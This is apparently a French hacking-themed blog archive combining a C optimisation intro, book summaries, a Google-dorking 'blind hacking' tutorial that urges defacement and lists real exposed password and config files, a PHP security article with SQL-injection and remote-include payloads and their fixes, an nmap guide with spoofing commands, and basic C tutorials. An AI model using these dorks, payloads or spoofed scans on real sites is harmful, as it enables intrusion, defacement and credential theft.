HackBBS
Cours « HackBBS

Archive for the ‘Cours’ Category

Hack en C

Wednesday, February 17th, 2010

Hack en C.

Cet article est consacré à ce que certains appellent le hack. Il ne s’agit pas pénétrer une n-ième fois dans le poste de travail d’une secrétaire du Pentagone mais de tirer le maximum de performance des processeurs actuels.

Ces processeurs sont devenus très complexes. Notamment le core P6 (le c ur du processeur lui-même) à la base des Pentium Pro, des PII avec le MMX et des PIII avec le MMX et le SSE (MMX pour nombres flottants), et des Celeron. Le Pentium 4 utilise un nouveau core encore plus spécial. Ces conseils s’appliquent également pour les autres processeurs comme l’Alpha ou le PowerPC.

Tout le monde utilise aujourd’hui gcc. Malheureusement, il n’est plus vraiment adapté pour garantir un maximum de performance. Par exemple, il ne sait pas encore gérer les instructions comme le MMX et le SSE, qui utilisent un format de données spécial (des paquets de nombres alignés en mémoire). Mais les structures de ces processeurs font que certaines manières de programmer permettent une accélération énorme des performances. Pour qu’un compilateur accélère le code, il faudrait qu’il comprenne ce que l’on cherche à faire (la sémantique). C’est ce que l’on appelle de la réécriture et c’est encore au stade de la recherche. Pour l’instant, il faut y aller à la main.

De ce fait, le code devient incroyablement complexe et tordu et donc parfaitement illisible. Il y a un certain nombre de règles à respecter pour que gcc s’en sorte le mieux possible. Il ne faut utiliser les autres ‘trucs’ qu’en dernier recours pour garder le code maintenable au maximum et compréhensible, voire portable, si on utilise du code assembleur.

Il ne faut pas oublier non plus que l’algorithme retenu détermine les performances de l’application en premier lieu. Un meilleur codage peut faire gagner un facteur 10, un meilleur algorithme un facteur 1000.

YouTube - PowerLabs Railgun 3: 100KJ + Railgun Shots with metal armatures.

Monday, February 8th, 2010

YouTube - PowerLabs Railgun 3: 100KJ + Railgun Shots with metal armatures..

Livre => Modélisation et calcul des milieux continus / Virtual testing and predictive modeling : for fatigue and fracture mechanics allowables / Computational fluid dynamics : principles and applications (2nd ed.)

Monday, January 18th, 2010

Auteur : LE TALLEC P.
Titre :
Modélisation et calcul des milieux continus
Editeur : Editions de l’Ecole Polytechnique
Année d’édition : 2009


Résumé
:
L’ouvrage est une introduction à la mécanique des milieux continus tridimensionnels. Quatre aspects sont plus particulièrement considérés : la modélisation macroscopique des milieux continus et de leur mouvement, en y décrivant les déformations et en rappelant les lois de conservation que doit respecter tout mouvement ; la description des efforts qui génèrent le mouvement des milieux continus, avec l’introduction de la notion de tenseur de contraintes et l’écriture des équations globales qui les régissent ; l’introduction à l’échelle microscopique des comportements élémentaires qui permet de compléter la modélisation en introduisant les relations de comportement traduisant le lien local entre déformations et efforts ; la résolution de problèmes d’équilibre élastique. Cette étape de résolution de problèmes globaux utilise le principe des puissances virtuelles pour écrire, analyser et résoudre les problèmes posés, et pour en valider les solutions. Elle permet d’aborder de nombreuses situations pratiques et de sensibiliser les étudiants aux problèmes de distribution d’efforts, de discontinuités de solutions, d’incompatibilité de déformations, et d’instabilités géométriques.
Table des matières :
Mouvements et efforts
Le milieu continu ; Les déformations du milieu continu ; Déformations linéarisées et taux de déformation ; Lois de conservation ; Modélisation des efforts intérieurs ; Equations du mouvement ; Principe des puissances virtuelles.
Comportements et solutions d’équilibre
Description microscopique d’un milieu continu ; Le modèle élastique : approche microscopique ; Le modèle élastique : approche thermodynamique ; Le modèle élastique : les métaux ; Le modèle élastique : approche macroscopique ; Les problèmes de structures en élasticité ; Les problèmes élastiques en petites transformations ; Approches variationnelles en petites perturbations.
Annexes
Rappel des principales notations ; Calcul tensoriel ; Calcul différentiel ; Expressions explicites des équations de la dynamique ; Compléments de physique statistique.

Auteur : FARAHMAND B.
Titre :
Virtual testing and predictive modeling : for fatigue and fracture mechanics allowables
Editeur : Springer
Année d’édition : 2009


Résumé
:
Virtual testing and predictive modeling : for fatigue and fracture mechanics allowables provides an overview of cost and time efficient methods in generating the fatigue and fracture data of industrial structural parts. Readers will find a systematic introduction to virtual testing to generate fatigue and fracture allowables through two useful techniques : the conventional continuum mechanics approach, and the utilization of multiscale modeling and simulation techniques to predict materials’ properties.The virtual testing continuum approach already plays a crucial role in the life assessment of important manufactured structural parts in the aerospace, automotive, aircraft and defense industries when data is inaccessible to engineers.
Table of contents :
Bahram Farahmand .- Virtual Testing and Its Application in Aerospace Structural Parts ; R. Jones, D. Peng .- Tools for Assessing the Damage Tolerance of Primary Structural Components ; Spandan Maiti .- Cohesive Technology Applied to the Modeling and Simulation of Fatigue Failure ; Chris A. Rodopoulos .- Fatigue Damage Map as a Virtual Tool for Fatigue Damage Tolerance ; K.M. Nikbin .- Predicting Creep and Creep/Fatigue Crack Initiation and Growth for Virtual Testing and Life Assessment of Components ; Frank Abdi, J. Surdenas, Nasir Munir, Jerry Housner, Raju Keshavanarayana .- Computational Approach Toward Advanced Composite Material Qualification and Structural Certification ; G.C. Sih .- Modeling of Multiscale Fatigue Crack Growth : Nano/Micro and Micro/Macro Transitions ; Gregory M. Odegard .- Multiscale Modeling of Nanocomposite Materials ; Michael Doyle .- Predictive Modeling .- R.C. Picu .- Multiscale Approach to Predicting the Mechanical Behavior of Polymeric Melts ; G. Labeas .- Prediction of Damage Propagation and Failure of Composite Structures (Without Testing) ; Niranjan A. Malvadkar, Michael A. Ulizio, Jill Lowman, Melik C. Demirel .- Functional Nanostructured Polymer–Metal Interfaces ; Reza S. Yassar, Hessam M.S. Ghassemi .- Advanced Experimental Techniques for Multiscale Modeling of Materials.

Auteur : BLAZEK J..
Titre :
Computational fluid dynamics : principles and applications (2nd ed.)
Editeur : Elsevier
Année d’édition : 2005

Résumé
:
The objective of the book is to provide university students with a solid foundation for understanding the numerical methods employed in today’s CFD and to familiarise them with modern CFD codes by hands-on experience. It is also intended for engineers and scientists starting to work in the field of CFD or for those who apply CFD codes. Due to the detailed index, the text can serve as a reference handbook too. Each chapter includes an extensive bibliography, which provides an excellent basis for further studies. The accompanying CD-ROM contains the sources of 1-D and 2-D Euler and Navier-Stokes flow solvers (structured and unstructured) as well as of grid generators. Provided are also tools for Von Neumann stability analysis of 1-D model equations. Finally, the CD-ROM includes the source code of a dedicated visualisation software with graphical user interface.
Table of contents :
Introduction ; Governing Equations ; Principles of Solution of the Governing Equations : Spatial and Temporal Discretisation ; Structured Finite Volume Schemes ; Unstructured Finite Volume Schemes ; Temporal Discretisation ; Turbulence Modelling ; Boundary Conditions ; Acceleration Techniques ; Consistency, Accuracy and Stability ; Principles of Grid Generation ; Description of the Source Codes.
Appendix :
Governing equations in differential form ; Quasilinear form of the Euler equations ; Mathematical character of the governing equations ; Navier-Stokes equations in rotating frame of reference ; Navier-Stokes equations formulated for moving grids ; Thin shear layer approximation ; Parabolised Navier-Stokes equations ; Axisymmetric form of the Navier-Stokes equations ; Convective flux Jacobian ; Viscous flux Jacobian ; Transformation from conservative to characteristic variables ; GMRES algorithm ; Tensor notation.

Blind Hacking, google cache

Sunday, January 25th, 2009

__    __  __  _ ___   __       _  _   _   _\_ _  _   \
/  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
.- - / /\ \/ /\ \-\_\ \_\\_\-\_/ —-|   < /_/-/_//_/\/__/    \-  ——.
:    \ \ \__/ / /                    |_|\_\           \        \        :
,     \/      \/                                       \        \       |
:                                                       \        \      .
. 11.04  Time to do some blind hacking                   \        \     !
.             aka                                         \        \    .
;           Ripping google cache without limitations       \        \   :
:                                                           \        \  :
‘– —–  - ——– — ——— - –  ————- — -\        \-’
\____ _ _\

I) :: INTRO
———–

Le blind hacking est une autre de ces méthodes qui  vous permettent  d’arriver
a vos fins sans avoir a connaître tout les moyens. Comme son nom l’indique, il
s’agit  de hacking  “aveugle”, donc  sans préméditation  . On   hack  ce   qui
passe  entre nos mains question de se pratiquer pendant le long hivers.

Le  blind hacking  se veut  être un  sport pure,  sans aucun  arme  ou  outils
d’intrusion, on cherche des chose simples et ont les hacks. On peut aussi bien
se   retrouver   entrain  de  défacer  un  wwwboard   de   planetquake.com  ou
s’emplir  le  ventre de  warez.  Le blind  hacking  n’est pas  une  chose  qui
mérite  des   applaudissements, d’ailleurs  n’importe quel  cloporte peut  s’y
mettre.

Maintenant vous n’avez plus de raison de ne pas continuer à lire :)

II) :: Webcrawling  the net for targets
—————————————

www.google.com,  vous  l’aviez   deviner? Pour  ceux   qui ne connaissent  pas
google, il s’agit d’un excellent moteur de recherche. Google se veut   complet
donc il y a un  tas d’options (caching de pages offlines, image searcher)  que
la  compétition ne possède pas.

Google balaie Internet en permanence à  l’aide de robots qui vont se  promener
d’URL  en URL. L’avantage premier de ce système c’est que l’indexation se fait
à l’insu  de  son  auteur. A  l’aide des  bons mots,   des  mots  magiques  on
peut obtenir   des  résultats  convaincants en  très peu  de temps,  jugez par
vous-mêmes:

http://www.google.ca/search?q=%22index%20of%20/%22%20winex

Les  amateurs   sauront  de   quoi  je  parle, spécialement   les utilisateurs
Linux.  Les  recherches  sous   Google  se   font  donc   via  un  browser web
(mozilla, netscape, ie, konqueror). On peut faire du blind hacking a  l’école,
à la bibliothèque(loosers), chez sa blonde ou encore chez vos chères mamans.

Pour faire une recherche, on utilise l’URL de google de la façon suivante:

> http://www.google.ca/search?q=Votre query

On peut  toujours passer  par www.google.ca directement. Pratiquez  pendant 10
secondes, si vous comprenez  pas, sentez-vous gravement insulté.
Passons donc aux ….

III) :: Mots magiques
———————

Vous voulez connaître les queries qui ont marquées l’histoire, les queries qui
ont fait bouger  le monde?  Disons qu’il y a certaines séries de mots   reliés
ensemble  sous  la forme d’une phrase qui donnent d’excellents résultats.

“Index of /” leech
==================

Sous Apache  et certains  autres serveurs  web se  retrouve  une  directive de
configuration qui permet  de créer un  index automatique. Si  un répertoire ne
possède pas d’index.html, le  serveur web bouffe 100%  du I/O, swap pendant  3
secondes et décide que vous  en   avez pas et fabrique alors un  fichier index
temporaire, en voici un exemple:

> http://www.co.benton.or.us/sheriff/corrections/

Très  intéressant  si vous  voulez  comprendre comment  fonctionne  un  centre
correctionnel mais c’est pas  vraiment le trip du  siècle, tout ce qu’il  faut
retenir c’est que le site  que vous avez vérifier est  un site qui n’a pas  eu
d’index.html  (ou  index.php,index.asp,  defaults.html  etc..)    présent.  Si
vous  regardez   directement  www.co.benton.or.us, l’index prend le dessus  et
on voit le site trop peu esthétique  du centre  de … c’est dure à dire.

Voici un exemple plus warez-like:

>http://www.funet.fi/pub/netinfo/incoming/%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20tagged%204%20dsn!!!/

Essayer ftp.funet.fi ? Google.com peut aussi servir de  PUB’s  finder.   Comme
la  face  d’Internet change  très souvent,  la variété  persiste :),  l’astuce
c’est de chercher des “index of /” avec des mots comme  incoming et tagged.

On peut  aussi trouver  du matériel  directement, quoi  que  cela  soit  moins
simple,  des qu’il  s’agit de warez,  certains modifient l’index  de leur site
pour contenir “index of /” et vous envoie de la junk.

Chercher leech,  0-day et  rarement warez  ou appz  si vous  voulez éviter les
popups :)

> http://www.fh-trier.de/~teepenf/leech/

Un aspect   encore  plus   intéressant que   les  autres,   le  hacking,  peut
être  très  facilement simplifié  par Google.com,  en voici  une exemple, très
ordinaire soit dit  en passant:

>  www.google.ca/search?q=”index of /” passwd.txt

- http://earlyamerica.com/towncrier/passwd.txt
- http://www.ku.edu/~philos/courses/wwwboard3/passwd.txt
- http://ntuphoenix.port5.com/discus_admin_1162549908/passwd.txt

Hacker des webboards c’est bien mais on veut mieux non?

>  www.google.ca/search?q=”index of /” config.inc.php.bak

- http://planetemods.free.fr/include/config.inc.bak

Il y  a toujours  la possibilité  de faire  du défacing   (changer   la   page
d’accueil, peut-être même avoir accès à la machine ou du moins à  la  bd).  On
peut   par  exemple chercher le fichier access_log et error_log pour  vérifier
au cas ou.

Je crois que tout le monde a comprit.

Stats / Usages data
===================

Il y a beaucoup  de proxy web sur  Internet, qui logs bien  entendu toutes les
requêtes,  la majorité de ces proxies génèrent un log en HTML et le place dans
un répertoire.

Exemple?

> http://www.google.ca/seach?q=”World Wide Web Access Statistics”

- http://gladstone.uoregon.edu/monthly-log.html
- http://www.soest.hawaii.edu/reports/statistics.html

Vous  pouvez  ajouter    des  mots   a  la   query  pour   chercher un   terme
intéressant  (ie:passwd.txt).   Remercier  wwwstat   d’avoir  un   pattern  si
répétitif, les   logs  générer par   ce  script  sont vraiment trop  parfaits.
Nous avons toute l’information nécessaire.

Il y a aussi “FTP Access Statistics” qui peut  vous donnez du bon miammiam.

Debug/Error messages
====================

Les  messages d’erreurs,  sont selon  moi, un  truc très  utile, je  me  sert
principalement des messages  d’erreurs pour  déterminer  le OS et  information
diverse  en rapport  à  une  cible. Je  recherche principalement  2 sortes  de
messages d’erreurs,  les messages  générés par  ASP,PHP et  SQL. Pratique pour
localiser  par  exemple  des  cas  assujettis  au  SQL injection.

“Microsoft OLE  DB Provider  for ODBC”  est un  bon keyword  pour trouvez  des
scripts   qui  accèdent   à  des  bases  de  donnée,  l’erreur  n’est  pas  si
intéressante  que  ça.  Mais   même  si  le  script ne  fait  plus  le message
d’erreur, il  est   toujours  la  passerelle  pour l’injection.

<REALTIME_DRAMATIZATION>
Tiens, en écrivant ses lignes, jai par hasard attrapé ceci via irc:

(Need Help?: http://www.securiteam.com/securityreviews/5DP0N1P76E.html)

http://new.spot.be/tiscali/fr/film.asp?Code_film=’7957 (SQL injection
possibility)

Merci init_null ;)
</REALTIME_DRAMATIZATION>

Il   y  a   les   messages    typiques  de   PHP3, le   plus  populaire   est
toujours:  “Fatal  error:  input  in flex  scanner  failed  in  “. Ce  message
d’erreur   est  souvent associé à une fonction include() qui inclue  n’importe
quel fichier  et  l’affiche   ou le traite. Il y a alors possibilité de  faire
un tas de trucs, comme  cet article  se veut court,  voici un lien vers un  de
mes vieux articles sur le sujet:

http://ouah.sysdoor.net/art001.txt

Vous  pouvez   aussi  chercher    pour  des   patterns d’erreurs  PHP typiques
contenant des “unable to” et compagnie.

CONCLUSION & Hunting tricks
===========================

Je crois qu’on pourrait  y passer la semaine,  alors ceci clôt cet  article en
espérant que cela vous ai amusez. Voici quelques idées a essayer pour ceux que
ça intéresse:

-  Utiliser  http://www.cgisecurity.com/archive/index.shtml   pour  trouver  de
nouveaux patterns à vérifier, si par un exemple une nouvelle  faille sort, à
partir d’un exploit vous pourrez toujours savoir quel fichier  chercher,  si
vous glissez allinurl: devant votre query, google  ne cherchera que dans les
liens. Donc vous trouverez les fichiers vulnérables.

- Exploiter le nouveau bug overflow.cgi pour les RAQ applicances. Chercher des
machines de ce type en utilisant un pattern d’erreur 404.En effet,  les  RAQ
affichent une page 404 bien a elles, voici un exemple de page 404:

> http://pgs.k12.va.us/tech/wm

Dans le source on peut voir la source de l’image suivante:

“/.cobalt/images/question_warning”

On n’a plus qu’à chercher cela, essayer le Images search de google.
Pour l’exploit en question:

http://www.securiteam.com/exploits/6S0022A6AA.html

- Allez lire la doc sur google.com pour améliorer vos  queries  de  recherche,
le adv. search est pas mal aussi pour les URL search/Domain search.

- Pour avoir tout les bugs de sécurités répandus de  type  cgi/database,  vous
pouvez toujours downloader les fichiers contenant  les  “rules”  de  NESSUS.
Très facile à parser et à réutiliser. (En fait c’est un  langage  interprété
réutilisable)

__2

Failles courantes en PHP

Monday, January 12th, 2009
Voici un article très interessant à prendre en compte lorsque l’on code en PHP.

La sécurisation de scripts PHP est une étape importante à prendre en compte lors de toute conception de site ou de script, simple ou complexe.

PHP permet déjà si on le configure correctement d’éliminer pas mal de problèmes de sécurité (on parlera à ce sujet notamment des register_globals). Nous traiterons ensuite quelques exemples pratiques couramment employés dans certains sites web et qu’il ne faut surtout pas faire. Enfin nous parlerons de quelques techniques de dissimulation (Url Rewriting, Force download), pour dissimuler des URL et des fichiers.

Les register_globals :

PHP est enfin configuré avec le paramètre register_globals à off par défaut. Vous pouvez désactiver les register_globals via le fichier php.ini, recherchez la ligne register_globals et attribuez-lui la valeur Off. Vous pouvez également passer par un fichier .htaccess, vous devrez dans ce cas rajouter la ligne suivante : php_flag register_globals off. Ceci désactivera les register_globals, qui sont une vraie plaie pour la sécurité d’un script.

Nous allons maintenant présenter quelques exemples à ne pas faire et comment corriger les failles potentielles :

La faille include :

Prenons un exemple simple de cette faille : La plupart des sites ayant cette faille utilisent des url du style monsite.com/index.php?page=xxxxx ou xxxxx est une page qui sera inclue comme ceci :

Code:
<?php
if(isset($_GET['page']))
{
include $_GET['page'].’.php’;
}
else
{
include ‘accueil.php’;
}
?>

Maintenant il suffit que le pirate place une page intitulée par exemple page sur son serveur. Il se rend ensuite sur le site concerné par la faille, et rentre l’url suivante : monsite.com/index.php?page=http://autre_site.com/page. La page n’est pas exécutée par PHP sur le site distant, elle sera donc exécutée sur le site possédant la faille. Vous pouvez donc vous imaginer des conséquences que cela peut engendrer… Pour contrer cette faille nous devons simplement utiliser la fonction file_exists() (attention en PHP5 ceci n’est plus forcément valable, assurez-vous d’avoir la directive allow_url_fopen à OFF dans votre fichier php.ini. Voici le code corrigé :

Code:
<?php
if(isset($_GET['page']) AND file_exists($_GET['page'].’.php’))
{
include $_GET['page'].’.php’;
}
else
{
include ‘accueil.php’;
}
?>

Attention maintenant à la faille dans votre site, c’est à dire qu’un visiteur inclue une page de votre site pour laquelle il n’a pas les droits d’accès en remontant d’un répertoire par exemple… Vous pouvez utiliser pour contrer cela les Expressions régulières en enlevant les caractères spéciaux : le slash, le point et l’antislash… qui pourraient prendre place dans l’url.

La faille du code HTML et des formulaires :

Il est courant maintenant de demander aux internautes tout ce qui vous passe par la tête, et d’afficher ensuite ces informations. Un internaute mal intentionné pourrait alors y mettre du code HTML pour défacer votre site (rien à craindre pour les donnés, juste pour la présentation).

Voici un exemple de formulaire courant :

Code:
<form action=”page.php” method=”post”>
<p><textarea name=”message”></textarea>
<input type=”submit” value=”Envoyer” /></p>
</form>

Voici maintenant un exemple de code PHP qui récupère la valeur du message tapé et l’affiche sur la page Web :

Code:
<?php
if(isset($_POST['message']))
{
echo $_POST['message']; //On aurait très bien pu stocker le message, cela serait revenu au même
}
?>

Maintenant imaginions que l’internaute rentre du code html quelconque, il fait ce qu’il veut avec la présentation de votre site, et peut même utiliser du javascript pour rediriger l’internaute n’importe où. Nous allons utiliser la fonction htmlentities() pour corriger la faille :

Code:
<?php
if(isset($_POST['message']))
{
echo htmlentities($_POST['message']); //Les caractères HTML sont désormais affichés et non interprétés
}
?>

Les failles de type SQL injection :

Les failles de type SQL injection consistent à exécuter des requêtes arbitraires sur une base de données. En général ces failles sont utilisées grâce à un formulaire. Imaginions que nous ayons une table membres et que notre requête pour savoir si un membre est bien identifié est la suivante :

Code:
mysql_query(”SELECT login,passe FROM membres WHERE login=’”.$_POST['login'].”‘ AND passe=’”.$_POST['passe'].”‘”);

login et passe sont deux champs d’un formulaire. Imaginions maintenant que nous rentriions cette valeur dans le champ login : ‘ OR 1=1″); #. La requête exécutée par PHP devient la suivante :

Code:
mysql_query(”SELECT login,passe FROM membres WHERE login=” OR 1=1″);

Comme la condition OR 1=1 est toujours vraie, la requête est exécutée et le membre peut se connecter sans aucun pseudo.

Pour remédier à cette faille, nous allons échapper les caractères spéciaux en utilisant la fonction mysql_real_escape_string (cela est aussi valable pour une insertion dans une base de données) :

Les magic_quotes si elles sont activées vont automatiquement échapper les caractères, voilà pourquoi on doit toujours regarder si cette fonction est active avant d’échapper quoi que ce soit. Voici le code corrigé :

Code:
<?php
/**
* Si des slashes ont été ajoutés via les magic quotes, on les enlève
*/
if(get_magic_quotes_gpc()===1)
{
$_POST['login'] = stripslashes($_POST['login']);
$_POST['passe'] = stripslashes($_POST['passe']);
}

/**
* On protège les chaînes
*/

$_POST['login'] = mysql_real_escape_string($_POST['login']);
$_POST['passe'] = mysql_real_escape_string($_POST['passe']);

/**
* On effectue la requête
*/
mysql_query(”SELECT login,passe FROM membres WHERE login=’”.$_POST['login'].”‘ AND passe=’”.$_POST['passe'].”‘”);
?>

Source: http://www.vulgarisation-informatique.com/failles-php.php

Introduction à Nmap

Monday, January 12th, 2009

Utilisation de Nmap et outil de detection des scans de ports

Cet article décrit le fonctionnement principal de la commande nmap sous linux et les solutions existantes permettant la détection de ce genre d’action.

Avant de commencer, je tiens à rappeler qu’un balayage de ports effectué sur un système tiers est considéré comme une tentative d’intrusion et est donc considéré comme illégal.

En revanche, vous pouvez parfaitement scanner votre propre réseau, afin de verifier si ce dernier est sécurisé.

1. Utilisation principal de nmap

Voir tous les ports TCP ouverts sur une machine, utilisation de messages SYN, donc pas de log sur la machine cible :

nmap -sS 127.0.0.1

Voir tous les ports UDP ouverts sur une machine :

nmap -sU 127.0.0.1

Voir si une machine est sur le réseau (scan Ping) :

nmap -sP 127.0.0.1

Scanner une plage d’adresses. Ici toutes les adresses de 192.168.0 à 192.168.255 :

nmap 192.168.0,.0-255

Connaitre le système d’exploitation de la machine (TCP/IP fingerprint) :

nmap -O 127.0.0.1

Si nmap n’arrive pas à determiner la version, on pourra lui demander de nous donner une liste des systèmes qui pourraient potentiellement correspondre :

nmap -O –osscan-guess 127.0.0.1

Scanner un port précis. Ici, c’est le port http :

nmap -p 80 127.0.0.1

Scanner une plage de ports. Ici on scan du port 0 au 80 et tous ceux supérieurs à 60000 ) :

nmap -p 0-80,60000 127.0.0.1

Scanner des serveurs web au hasard sur le réseau :

nmap -v -sS -iR 0 -p 80

Désactiver la résolution DNS inverse des hôtes, augmente la rapidité :

nmap -n 127.0.0.1

Scan par rebon ftp, permet de demander à un serveur FTP de scanner les ports à votre place (envoie des fichiers pour tester les ports ouverts). Cette fonctionnalité est souvent désactivée des serveurs FTP afin d’éviter les abus. Ici on passe par le serveur ftp qui a pour adresse 127.0.0.1 pour scanner une plage d’adresses ip :

nmap -b 127.0.0.1 192.168.0,.0-255

Usurper l’adresse ip source. Ici on scan 127.0.0.1, par l’interface réseau eth0, en se faisant passer pour 10.0.0.0 depuis le port 80 :

nmap -S 10.0.0.0 -g 80 -e eth0 -P0 127.0.0.1

Usurper l’adresse MAC :

nmap –spoof-mac 01:02:03:04:05:06 127.0.0.1
nmap –spoof-mac Cisco 127.0.0.1

Choisir un fichier de sortie pour y ecrire les résultats du scan :

nmap -oN resultat 127.0.0.1
nmap -oX resultat.xml 127.0.0.1

Trace les paquets et les données envoyés et reçus. Pratique pour verifier qu’une usurpation fonctionne :

nmap –packet-trace -S 10.0.0.0 -eth0 127.0.0.1

2. Solution

Enpêcher le balayage des ports d’une machine reste assez difficile en soi. En effet, même en rajoutant des règles à iptables, les techniques de scan étant tellement diverses, cela ne sera ne fonctionnera pas à 100%.

En revanche, on peut très bien utiliser des outils spécialisés dans la detection de ces derniers comme scnalogd par exemple.

Pour s’en servir, nous allons devoir récupérer les sources sur le site officel et lancer les commandes suivantes :

cd /usr/local/src/
tar zxvf scanlogd-*.tar.gz
rm -f scanlogd-*.tar.gz
cd scanlogd-*/
make linux
adduser scanlogd

On pourra ensuite le lancer manuellement, via la commande scanlogd. Toutes les tentatives de scan sur la machine seront alors visibles dans le fichier /var/log/messages :

# tailf /var/log/messages | grep scanlogd
Dec 3 17:54:43 localhost scanlogd: 192.168.0.188 to 192.168.0.175 ports 80, 554, 256, 21, 22, 23, …, TOS 00, TTL 64 @18:54:43

Par Pti-seb, vendredi 15 décembre 2006

Source:
http://www.tux-planet.fr/blog/?2006/12/15/132-utilisation-de-nmap-et-outil-de-detection-des-scans-de-ports

Liens utiles:
http://underground54.serveurperso.com/tutorial.php?id=58
http://underground54.serveurperso.com/tutorial.php?id=55

Man in the middle explications !

Monday, January 12th, 2009

Je vais vous expliquer un peu le principe de Man In the Middle.
Man In The middle signifie “L’Homme du Milieu”. C’est un principe d’interception bien connu qui reste encore aujourd’hui un immense problème de sécurité. Il peut s’appliquer au protocole SSH (je reviendrais là-dessus sur un autre cours car avec les 2 versions de SSH… Bah on a encore une autre faille Razz).

Je vais prendre un exemple où Korigan (PC de gauche) et Hackangel (PC de droite) vont rentrer en conversation VoIP. Il s’agit d’un système de communication extrêmement pratique mais qui, comme tout ce qui est relié au web, est vulnérable. Je vais pas compliquer plus pour vous montrer comment ça fonctionne :

Bon, vous l’aurez vu, on a un échange de clé de décryptage au début elles sont appelés clés publiques. Ces clés ne permettent que de lire. C’est sur ce principe que l’on peut intervenir : léchange de clés. Admettons que quelqu’un parvienne à pénétrer le réseau. Il lui serait possible de lui prendre envie de voir ce que se disent Korigan et Hackangel (bon, c’est pas ce qui doit y avoir de plus intéressant au monde, mais me fallait un exemple alors…).

Solution 1 :

Dans ce cas, vous avez vu que Selenore a récupéré les clés des 2 personnes. Il a donc la possibilité de lire les conversation VoIP. Il ne lui est cependant pas possible d’altérer ce qui se passe, ne possédant pas les clés de codages (clés privées). Dans le second cas, il va s’agir d’une conversation de type écrite. Le système ne change pas mais il sera possible, pour l’intru, de modifier ce qui transite entre les 2 personnes.

Solution 2 :

Cette technique, bine que plus complexe est sans doute plus intéressante.
Elle permet de modifier tout ce qui peut traverser entre les 2 personnages…

Bon, allez arrêtez de vous dévorer les doigts face à ce problèmes. Des solutions existent. Il faut tout bonnement appliquer quelques règles :

[list][*] Tout d’abord l’échange de clé doit se faire dans un système de confiance. En gros, il vaut mieux faire l’échange par un tiers de confiance.
[*]Echanger les clés d’homme à homme. Par téléphone (enfin là, on peut toujours vous espionner de façon téléphonique) ou tout bonnement de main à main.
[*]Utiliser une authentification avec un mot de passe ou un autre système avancé, comme la reconnaissance vocale ou biologique.

Cette méthode ne peut cependant pas être utilisée dans un degré de sécurité absolu. Il est donc clair et net que l’on ne possède pas de remède miracle pour remédier à l’attaque.

Pour toute question, n’hésitez pas.

Hello World sous Unix ?

Monday, January 12th, 2009
Pour une première approche constructive de la console sous Unix.

Plus d’excuses, il faut s’y mettre! Wink

Pourquoi “Hello, world !”?

“Hello, world !” est la première chose qu’un programmeur digne de ce nom écrit. Les programmes de type “Hello, world !” sont souvent l’objet de moqueries injustifiées. De par sa simplicité, ce petit programme permet pourtant beaucoup de choses:

o Se familiariser avec les bases d’un nouveau langage de programmation
o Tester le bon fonctionnement des outils de développement
o S’habituer à un nouvel environnement
o Connaître les commandes de bases d’un système d’exploitation
o Rendre hommage aux pionniers de l’informatique
o etc…

Comment écrit-on “Hello, world !” sur Unix?

Beaucoup de gens ne seront pas d’accord, mais la meilleure manière d’écrire “Hello, world !” sur Unix est en langage C.

o Prenez un éditeur de texte et introduisez le texte suivant:

Code:
#include <stdio.h>

int main (int argc, char **argv)
{
printf (”Hello, world !\n”);
return 0;
}

o Sauvez ce texte dans un fichier nommé hello.c .
o Pour compiler depuis un interpréteur de commande Unix (shell), lancer la commande suivante:

Code:
$ cc hello.c

Le signe $ ne fait évidemment pas partie de la commande, mais il s’agit de l’invite de commande par défaut de l’interpréteur de commande.
o Le compilateur génère un exécutable qui s’appelle par défaut a.out, ce qui veut simplement dire “Assembler output”. Pour exécuter le fichier, il suffit d’introduire la commande suivante:

Code:
$ ./a.out

o On voit immédiatement s’afficher le résultat suivant :

Code:
Hello, world !
$

En utilisant la compilation séparée ?

Dès qu’on veut réaliser des projets plus importants qu’afficher “Hello, world !”, il est nécessaire de diviser le programme en plusieurs parties et de les compiler séparément.

Dans l’exemple suivant, nous allons utiliser la compilation séparée pour réaliser le même programme. Ceci nécessitera l’utilisation de 3 fichiers source:
o main.c contient le programme principal
o hello.c contient une fonction qui renvoie un pointeur sur le texte “Hello, world !”
o hello.h contient la déclaration de la fonction contenue dans hello.c. Ceci permet d’utiliser cette fonction depuis l’extérieur.

Comment procéder ?

o Le fichier hello.h contiendra le texte suivant:

Code:
const char * getHelloStr (void);

o Le fichier hello.c contiendra le texte suivant:

Code:
#include “hello.h”

static const char *helloStr = “Hello, world !”;

const char * getHelloStr (void)
{
return helloStr;
}

o Pour compiler le fichier hello.c, lancer la commande suivante:

Code:
$ cc -c hello.c

Le compilateur génère un fichier hello.o contenant le code de la fonction getHelloStr(), ainsi que le texte “Hello, world !”.
o Le fichier main.c contiendra le texte suivant:

Code:
#include <stdio.h>
#include “hello.h”

int main (int argc, char **argv)
{
printf (”%s\n”, getHelloStr());
return 0;
}

o Pour compiler le fichier main.c, lancer la commande suivante:

Code:
$ cc -c main.c

Le compilateur génère un fichier main.o contenant un appel à printf() ainsi qu’à getHelloStr() .
o Nous disposons maintenant des fichiers hello.o et main.o . Pour générer un exécutable, il suffit d’entrer la commande suivante:

Code:
$ cc main.o hello.o

o Le compilateur génère un exécutable qui s’appelle par défaut a.out . La commande :

Code:
$ ./a.out

permet de lancer le programme.
o On voit immédiatement s’afficher le résultat suivant :

Code:
Hello, world !
$


Automatisons la compilation…

Lorsqu’on développe des projets d’une certaine importance, il y a rapidement beaucoup de fichiers source et il est fastidieux de lancer les bonnes commandes de compilation chaque fois qu’un fichier est modifié. Ceci peut de plus devenir une importante source d’erreurs. On risque en effet d’oublier de recompiler des fichiers. On peut aussi tout recompiler à chaque fois, mais cela peut prendre plusieurs heures pour des projets importants.

Heureusement, les concepteurs d’Unix ont les pieds sur terre et une solution simple et élégante a été développée pour automatiser les compilations: l’utilitaire make .

Pour utiliser make, il faut créer un fichier qui s’appelle Makefile . Ce fichier contient une description des dépendances entre les différents fichiers et permet à make de savoir quelles commandes exécuter. make fait toujours le minimum de travail pour satisfaire les dépendances, ce qui veut dire que le minimum de recompilations sont effectuées pour avoir un fichier exécutable à jour.

Pour savoir quels fichiers recompiler, make utilise la date de derniére modification des fichiers. Ainsi une compilation est lancée si le source est plus récent que le fichier objet correspondant.

